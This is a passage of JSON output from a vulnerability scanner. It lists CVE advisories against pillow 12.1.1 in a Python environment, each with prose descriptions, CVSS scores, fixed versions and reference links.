"ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112895", "https://advisory.echohq.com/cve/CVE-2026-112895", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528", "https://linux.oracle.com/cve/CVE-2026-112895.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112895", "https://www.cve.org/CVERecord?id=CVE-2026-112895" ], "PublishedDate": "2026-10-19T22:17:09.62Z", "LastModifiedDate": "2026-10-27T14:56:20.7Z" }, { "VulnerabilityID": "CVE-2026-112896", "VendorIDs": [ "GHSA-pchr-8j38-3x4p" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112896", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:c3c64db57384dff1ac93c079aa2643b49ad4046cc3136d60d0c15be22aaf5383", "Title": "pillow: Pillow: Denial of Service via out-of-bounds read in TIFF encoder", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's TIFF encoder can read beyond a ColorMap buffer when retained TIFF metadata has a plane size inconsistent with BitsPerSample. A small TIFF can be opened normally and then retain a crafted ColorMap that is reused when the image is saved. An application that re-encodes the attacker's TIFF with libtiff can trigger the out-of-bounds read. This can disclose heap memory in the output or crash the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112896", "https://advisory.echohq.com/cve/CVE-2026-112896", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/d03dc3c587a9b0bdc9e4304d70d59a635a87b742", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-pchr-8j38-3x4p", "https://nvd.nist.gov/vuln/detail/CVE-2026-112896", "https://www.cve.org/CVERecord?id=CVE-2026-112896" ], "PublishedDate": "2026-10-19T22:17:09.76Z", "LastModifiedDate": "2026-10-27T14:55:49.017Z" }, { "VulnerabilityID": "CVE-2026-112897", "VendorIDs": [ "GHSA-q45j-58j2-45rg" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112897", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:99bf08d69f014e10aa45ede21e354e4c807d6af42bdbf4e3f4dc149ada185ecf", "Title": "pillow: pillow: Information disclosure via uninitialized buffer in TIFF decoding", "Description": "Pillow is a Python imaging library. From 5.3.0 until 13.0.0, Pillow can return uninitialized memory as pixels when libtiff performs a short decode of JPEG-compressed or Group 4 fax TIFF data. The _decodeStrip and _decodeTile buffers can be larger than the bytes written by libtiff, but Pillow converts the expected rows without clearing the unwritten tail. The tile path is affected from 5.3.0 and the strip path from 6.0.0. An attacker can supply a crafted TIFF to an application that loads and returns or re-encodes its pixels. This can disclose stale heap contents without memory corruption or a process crash. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-908" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 6.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112897", "https://advisory.echohq.com/cve/CVE-2026-112897", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-q45j-58j2-45rg", "https://nvd.nist.gov/vuln/detail/CVE-2026-112897", "https://www.cve.org/CVERecord?id=CVE-2026-112897" ], "PublishedDate": "2026-10-19T22:17:09.9Z", "LastModifiedDate": "2026-10-27T14:55:26.993Z" }, { "VulnerabilityID": "CVE-2026-112902", "VendorIDs": [ "GHSA-xvh5-g6gv-559v" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112902", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:8176216710bbe4607fdb25049bcc833a47a6093d5d33282cb416563b08b04ff7", "Title": "Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags", "Description": "Pillow is a Python imaging library. In versions through 12.3.0, the libtiff TIFF encoder can pass arguments to  TIFFSetField()  that do not match libtiff’s definition of the corresponding tag. When an application saves attacker-controlled image metadata through this encoder, crafted tag values can cause invalid memory reads, copying process memory into the encoded output or crashing the process. Applications that return the encoded output to an attacker can disclose that memory. The issue is reachable when re-saving compressed TIFF images and through certain conversions that preserve EXIF metadata into compressed TIFF output. This vulnerability is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-686" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112902", "https://advisory.echohq.com/cve/CVE-2026-112902", "https://getsafety.com/v/SFTY-20261021-68388/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/570df030c0d30c2bf5336b2ab59f3902d8ab0b6d", "https://github.com/python-pillow/Pillow/commit/af56ace297b0991d02988fcc2ea933e4824b4fb3", "https://github.com/python-pillow/Pillow/pull/10227", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xvh5-g6gv-559v", "https://nvd.nist.gov/vuln/detail/CVE-2026-112902", "https://www.cve.org/CVERecord?id=CVE-2026-112902" ], "PublishedDate": "2026-11-05T21:18:36.713Z", "LastModifiedDate": "2026-11-05T21:18:36.84Z" }, { "VulnerabilityID": "CVE-2026-40192", "VendorIDs": [ "GHSA-whj4-6x5x-4v2j" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "12.2.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40192", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0283d7b7747b23a055d8abc7d65ed1ca56d1727e7f95371902d3e7ac75e5544f", "Title": "Pillow: Pillow: Denial of Service via decompression bomb in FITS image processing", "Description": "Pillow is a Python imaging library. Versions 10.3.0 through 12.1.1 did not limit the amount of GZIP-compressed data read when decoding a FITS image, making them vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation). If users are unable to immediately upgrade, they should only open specific image formats, excluding FITS, as a workaround.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770", "CWE-409" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V3Score": 7.5, "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:16008", "https://access.redhat.com/errata/RHSA-2026:16009", "https://access.redhat.com/errata/RHSA-2026:16030", "https://access.redhat.com/errata/RHSA-2026:16174", "https://access.redhat.com/errata/RHSA-2026:17609", "https://access.redhat.com/errata/RHSA-2026:17611", "https://access.redhat.com/errata/RHSA-2026:19375", "https://access.redhat.com/errata/RHSA-2026:19712", "https://access.redhat.com/errata/RHSA-2026:21017", "https://access.redhat.com/errata/RHSA-2026:22465", "https://access.redhat.com/errata/RHSA-2026:22629", "https://access.redhat.com/errata/RHSA-2026:22840", "https://access.redhat.com/errata/RHSA-2026:23361", "https://access.redhat.com/errata/RHSA-2026:24761", "https://access.redhat.com/errata/RHSA-2026:24762", "https://access.redhat.com/errata/RHSA-2026:24853", "https://access.redhat.com/errata/RHSA-2026:24866", "https://access.redhat.com/errata/RHSA-2026:24977", "https://access.redhat.com/errata/RHSA-2026:27076", "https://access.redhat.com/errata/RHSA-2026:34365", "https://access.redhat.com/errata/RHSA-2026:34366", "https://access.redhat.com/errata/RHSA-2026:34368", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:57387", "https://access.redhat.com/errata/RHSA-2026:61627", "https://access.redhat.com/errata/RHSA-2026:61628", "https://access.redhat.com/errata/RHSA-2026:61629", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/security/cve/CVE-2026-40192", "https://advisory.echohq.com/cve/CVE-2026-40192", "https://bugzilla.redhat.com/show_bug.cgi?id=2458856", "https://github.com/advisories/GHSA-whj4-6x5x-4v2j", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/3cb854e8b2bab43f40e342e665f9340d861aa628", "https://github.com/python-pillow/Pillow/pull/9521", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-whj4-6x5x-4v2j", "https://nvd.nist.gov/vuln/detail/CVE-2026-40192", "https://pillow.readthedocs.io/en/stable/releasenotes/12.2.0.html#prevent-fits-decompression-bomb", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40192.json", "https://ubuntu.com/security/notices/USN-8211-1", "https://www.cve.org/CVERecord?id=CVE-2026-40192" ], "PublishedDate": "2026-04-15T23:16:10.053Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-42311", "VendorIDs": [ "GHSA-pwv6-vv43-88gr" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "12.2.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42311", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:5e5932d94d2a62fa50d867f44d38a963846a26c45ae4ad8173c10c60f4faabb8", "Title": "Pillow: python-pillow: Pillow: Arbitrary code execution via malicious PSD file processing", "Description": "Pillow is a Python imaging library. From version 10.3.0 to before version 12.2.0, processing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution. This issue has been patched in version 12.2.0.", "Severity": "HIGH", "CweIDs": [ "CWE-190", "CWE-787" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.6 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42311", "https://advisory.echohq.com/cve/CVE-2026-42311", "https://github.com/advisories/GHSA-pwv6-vv43-88gr", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/58f9a1d166dcb0c274807d4423522d205b0c35ea", "https://github.com/python-pillow/Pillow/pull/9520", "https://github.com/python-pillow/Pillow/releases/tag/12.2.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-cfh3-3jmp-rvhc", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-pwv6-vv43-88gr", "https://nvd.nist.gov/vuln/detail/CVE-2026-42311", "https://ubuntu.com/security/notices/USN-8399-1", "https://www.cve.org/CVERecord?id=CVE-2026-42311" ], "PublishedDate": "2026-05-09T06:16:10.43Z", "LastModifiedDate": "2026-07-24T21:10:00.143Z" }, { "VulnerabilityID": "CVE-2026-54058", "VendorIDs": [ "GHSA-62p4-gmf7-7g93" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54058", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:7f9c22c8856d82a85d445e190452c26b9d090b8f76131b23f01c4c03a59367d0", "Title": "Pillow: Pillow: Memory disclosure or denial of service via crafted McIdas AREA image", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 4, "ghsa": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.3 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:48021", "https://access.redhat.com/security/cve/CVE-2026-54058", "https://advisory.echohq.com/cve/CVE-2026-54058", "https://bugzilla.redhat.com/2500043", "https://bugzilla.redhat.com/2500057", "https://bugzilla.redhat.com/show_bug.cgi?id=2500043", "https://bugzilla.redhat.com/show_bug.cgi?id=2500057", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54058", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59197", "https://errata.almalinux.org/8/ALSA-2026-48021.html", "https://errata.rockylinux.org/RLSA-2026:48021", "https://github.com/advisories/GHSA-62p4-gmf7-7g93", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d", "https://github.com/python-pillow/Pillow/pull/9719", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93", "https://linux.oracle.com/cve/CVE-2026-54058.html", "https://linux.oracle.com/errata/ELSA-2026-48021.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-54058", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-54058" ], "PublishedDate": "2026-07-14T17:17:03.433Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-54059", "VendorIDs": [ "GHSA-8v84-f9pq-wr9x" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54059", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:d0421c65ad1027835c5765fe5ec49623bfe308e02f7b7c9a7c1d76459e5b74cd", "Title": "python-pillow: Pillow: Denial of Service via crafted PCF font data", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:39127", "https://access.redhat.com/security/cve/CVE-2026-54059", "https://advisory.echohq.com/cve/CVE-2026-54059", "https://bugzilla.redhat.com/2497452", "https://bugzilla.redhat.com/2497455", "https://bugzilla.redhat.com/2497464", "https://bugzilla.redhat.com/2497466", "https://bugzilla.redhat.com/show_bug.cgi?id=2497452", "https://bugzilla.redhat.com/show_bug.cgi?id=2497455", "https://bugzilla.redhat.com/show_bug.cgi?id=2497464", "https://bugzilla.redhat.com/show_bug.cgi?id=2497466", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55380", "https://errata.almalinux.org/8/ALSA-2026-39127.html", "https://errata.rockylinux.org/RLSA-2026:39127", "https://github.com/advisories/GHSA-8v84-f9pq-wr9x", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst", "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x", "https://linux.oracle.com/cve/CVE-2026-54059.html", "https://linux.oracle.com/errata/ELSA-2026-39127.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-54059", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-54059" ], "PublishedDate": "2026-07-06T19:17:08.127Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-54060", "VendorIDs": [ "GHSA-5x94-69rx-g8h2" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54060", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:eb745d4bbc623f1a52256f434727d3f6d191b4cdde10b86f4cd47a94e23bf8c0", "Title": "python-pillow: Pillow: Denial of Service via excessive memory allocation when processing font files", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\"1\", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:39127", "https://access.redhat.com/security/cve/CVE-2026-54060", "https://advisory.echohq.com/cve/CVE-2026-54060", "https://bugzilla.redhat.com/2497452", "https://bugzilla.redhat.com/2497455", "https://bugzilla.redhat.com/2497464", "https://bugzilla.redhat.com/2497466", "https://bugzilla.redhat.com/show_bug.cgi?id=2497452", "https://bugzilla.redhat.com/show_bug.cgi?id=2497455", "https://bugzilla.redhat.com/show_bug.cgi?id=2497464", "https://bugzilla.redhat.com/show_bug.cgi?id=2497466", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55380", "https://errata.almalinux.org/8/ALSA-2026-39127.html", "https://errata.rockylinux.org/RLSA-2026:39127", "https://github.com/advisories/GHSA-5x94-69rx-g8h2", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml", "https://github.com/python-pillow/Pillow", 